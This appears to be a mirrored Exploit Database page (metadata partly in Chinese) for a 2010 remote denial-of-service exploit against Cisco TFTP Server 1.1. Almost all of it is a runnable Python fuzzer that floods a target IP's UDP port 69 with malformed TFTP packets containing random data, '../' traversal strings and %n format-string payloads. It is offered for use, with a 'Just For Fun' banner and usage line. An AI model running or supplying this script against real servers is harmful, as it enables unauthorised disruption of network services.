Cisco TFTP Server 1.1 – Denial of Service

• Exploit Database
• 87 阅读

• 作者： _SuBz3r0_
  日期： 2010-03-25
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11878/

• # Exploit Title: [Cisco TFTP Server 1.1]
  # Date: [2010-03-25]
  # Author: [_SuBz3r0_]
  # Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html]
  # Version: [1.1]
  # Tested on: [XP SP3,Win2k3]
  # CVE : [if exists]
  # Code :
  #Cisco TFTP Server v1.1 DoS
  print ""
  print "##############################################"
  print "# _SuBz3r0_#"
  print "##############################################"
  print ""
  print "Cisco TFTP v1.1 Remote DoS"
  print "Just For Fun"
  print "tftp_fuzz.py [ip of server]"
  print ""
  print "Greetz:piloo le canari & MaX"
  print "Credits to Ilja van Sprundel"
  print "Tested on: French Windows Xp Sp3 fully Patched"
  print ""
  
  #!/usr/bin/python
  # tftpd fuzzer by Ilja van Sprundel
  # implements rfc 1350, 2090, 2347, 2348, 2349
  #
  # todo: - 1 option per packet
  # - lots (>100) (small) options per packet
  # - add better option support to OACK
  #- client fuzzing ?
  import os, socket, sys, struct, random
  port = 69
  type = ["netascii", "octet", "binary", "mail"]
  asize = ["blkzise", "tsize"]
  class fuzz:
  def __init__(self):
  """ """
  def randstring(self, len):
  thestring = ""
  what = random.randint(0,5)
  if what < 5:
  for i in range(len):
  char = chr(random.randint(1,255))
  thestring += char
  else:
  thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
  return thestring
  
  def randbin(self, len):
  thestring = ""
  for i in range(len):
  char = chr(random.randint(0,255))
  thestring += char
  return thestring
  
  def fuzz_rw(self):
  """ """
  data = ""
  if not random.randint(0,50):
  return ""
  if not random.randint(0,10):
  if random.randint(0,1):
  data = "../"
  else:
  howmany = random.randint(1,100)
  data = "../" * howmany
  
  data += self.randstring(random.randint(0,3000))
  # no 0byte
  if not random.randint(0,10):
  return data
  data += "\0"
  # no mode
  if not random.randint(0,100):
  return data
  
  if random.randint(0,5):
  data += random.choice(type)
  else:
  data += self.randstring(random.randint(0,3000))
  
  if not random.randint(0,10):
  return data
  data += "\0"
  if not random.randint(0,10):
  return data
  options = random.randint(0,100)
  if not random.randint(0,10):
  breakloop = 1
  breakit = random.randint(0, options)
  else:
  breakloop = 0
  longarg = random.randint(0, options)
  if not random.randint(0,10):
  lowlimit = 16
  options = options / 4
  else:
  lowlimit = 0
  for i in range(options):
  which =random.randint(lowlimit, 19)
  if which < 16:
  if longarg == i:
  data += self.randstring(random.randint(0,3000))
  else:
  data += self.randstring(random.randint(0,100))
  data += "\0"
  data += self.randstring(random.randint(0,100))
  if which == 16:
  data += "multicast\0"
  if not random.randint(0,5):
  if random.randint(0,1):
  data += self.randstring(random.randint(0,50))
  else:
  data += str(random.randint(0, 0xffffffff))
  if which == 17 or which == 18:
  data += random.choice(asize) + "\0"
  if random.randint(0,10):
  if random.randint(0,1):
  uplimit = 65535
  else:
  uplimit = 0xffffffff
  string = str(random.randint(0, uplimit))
  if random.randint(0,1):
  data += "-"
  data += string
  else:
  data += self.randstring(random.randint(0,50))
  if which == 19:
  data += "timeout\0"
  if random.randint(0,10):
  which = random.randint(0,5)
  if which < 4:
  uplimit = 255
  if which == 4:
  uplimit = 65535
  else:
  uplimit = 0xffffffff
  string = str(random.randint(0, uplimit))
  if random.randint(0,1):
  data += "-"
  data += string
  else:
  data += self.randstring(random.randint(0,50))
  
  if breakloop:
  if i == breakit:
  return data
  data += "\0"
  
  
  return data
  
  def make_data(self):
  """ """
  which = random.randint(0,10)
  if which < 6:
  # read is more likely to be accepted then write
  # hence we bias it towards reading !
  if random.randint(0,2):
  d = "\x00\x01"
  else:
  d = "\x00\x02"
  d += self.fuzz_rw()
  # do some tftpd's do something with this ???
  elif which == 6:
  d = "\x00\x03"
  d += self.randbin(2)
  d += self.randbin(random.randint(0,3000))
  elif which == 7:
  d = "\x00\x04"
  d += self.randbin(2)
  if not random.randint(0,10):
  d += self.randbin(random.randint(0,3000))
  elif which == 8:
  d = "\x00\x05"
  d += self.randbin(2)
  d += self.randstring(random.randint(0,1000))
  if random.randint(0,10):
  d += "\0"
  elif which == 9:
  # lets do this later ....
  d = "\x00\x06"
  d += self.randbin(1000)
  else:
  if random.randint(0,2):
  times = 512
  else:
  times = random.randint(512, 10000)
  d = self.randbin(random.randint(0,times))
  return d
  
  def run(self):
  """ """
  packets = 0
  try:
  while 1:
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  except:
  print "socket() failed"
  sys.exit(1)
  da = self.make_data()
  s.sendto(da, (host, port))
  s.close()
  os.write(1,".")
  packets += 1
  except KeyboardInterrupt:
  print "\nPackets: " + str(packets)
  
  if __name__ == '__main__':
  if len(sys.argv) <= 1:
  sys.exit(0)
  host = sys.argv[1]
  if len(sys.argv) >= 3:
  port = sys.argv[2]
  f = fuzz()
  f.run()
  

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